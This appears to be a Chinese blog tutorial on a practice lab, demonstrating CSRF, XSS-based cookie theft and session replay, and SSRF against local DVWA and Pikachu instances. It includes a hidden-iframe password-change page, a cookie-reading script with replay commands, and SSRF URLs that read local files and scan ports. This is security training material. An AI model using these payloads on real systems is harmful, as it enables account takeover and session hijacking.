zoukankan      html  css  js  c++  java
  • CSRF+XSRF+SSRF简单介绍

    CSRF

    使用DVWA靶机,选择low级别,然后更改密码

    伪造网页连接

    http://localhost:8083/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

    我们自己写一个网页,把上面的网页连接写在里面,并更改里面的密码

    <iframe hidden=""src="http://localhost:8083/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#"width="" height=""></iframe>

    使用iframe标签,里面的hidden是为了隐藏这个连接页面的

    这个img标签是为了优化网页内容的

    被攻击者访问这个页面

    前提是,被攻击者仍然使用着这个正确网页并用相同的浏览器打开我们发送的网页(由于cookie的原因)

    这我们就把密码改成了我们自己设计的

    XSRF

    网站有xss漏洞

    我们登录网站,上传存储型xss,获取目标用户的cookie值,一般用xss平台。这里为了演示,我们手动获取对方的cookie值

    首先攻击方为火狐浏览器,先上传xss

    <script>console.log(document.cookie)</script>

    console.log(document.cookie)

    这里是为了实验,用xss我们可以直接获取cookie

    security=low; BEEFHOOK=HREwKDaS8h44nT2sUWZZxRDug1kS6cXCCfzDmbMia50Cg2A2cBXDbRmGKckYiFBh74ZdQH3JM6z9flVA;

    PHPSESSID=armhiqtko1ja6i8h4eas7ogmu4

    使用cookie登录

    我们可以用别人的cookie进行身份冒充

    现在我们对cookie进行修饰

    document.cookie="security=low";

    document.cookie="BEEFHOOK=HREwKDaS8h44nT2sUWZZxRDug1kS6cXCCfzDmbMia50Cg2A2cBXDbRmGKckYiFBh74ZdQH3JM6z9flVA";

    document.cookie="PHPSESSID=armhiqtko1ja6i8h4eas7ogmu4";

    然后我们进入登录界面输入cookie

    由于我们当时是在这个页面获取cookie的,因此我们登录这个页面http://localhost:8083/DVWA-master/vulnerabilities/xss_s/

    我们就可以随意访问这个网站了

    SSRF

    file://可以访问本地文件http://localhost/pikachu-master/vul/ssrf/ssrf_curl.php?url=file://c:zz2.txt

    http://可以访问互联网文件http://localhost/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.1.130/1.txt

    dict://扫秒端口http://localhost/pikachu-master/vul/ssrf/ssrf_curl.php?url=dict://192.168.1.47:80



  • 相关阅读:
    L1-046. 整除光棍
    判断素数
    L1-025. 正整数A+B
    L1-023. 输出GPLT
    L1-020. 帅到没朋友
    L1-016. 查验身份证
    L1-011. A-B
    UVa 400 Unix Is命令
    Uva 136 丑数
    The Preliminary Contest for ICPC Asia Xuzhou 2019 K. Center
  • 原文地址:https://www.cnblogs.com/bingtang123/p/12838352.html
Copyright © 2011-2022 走看看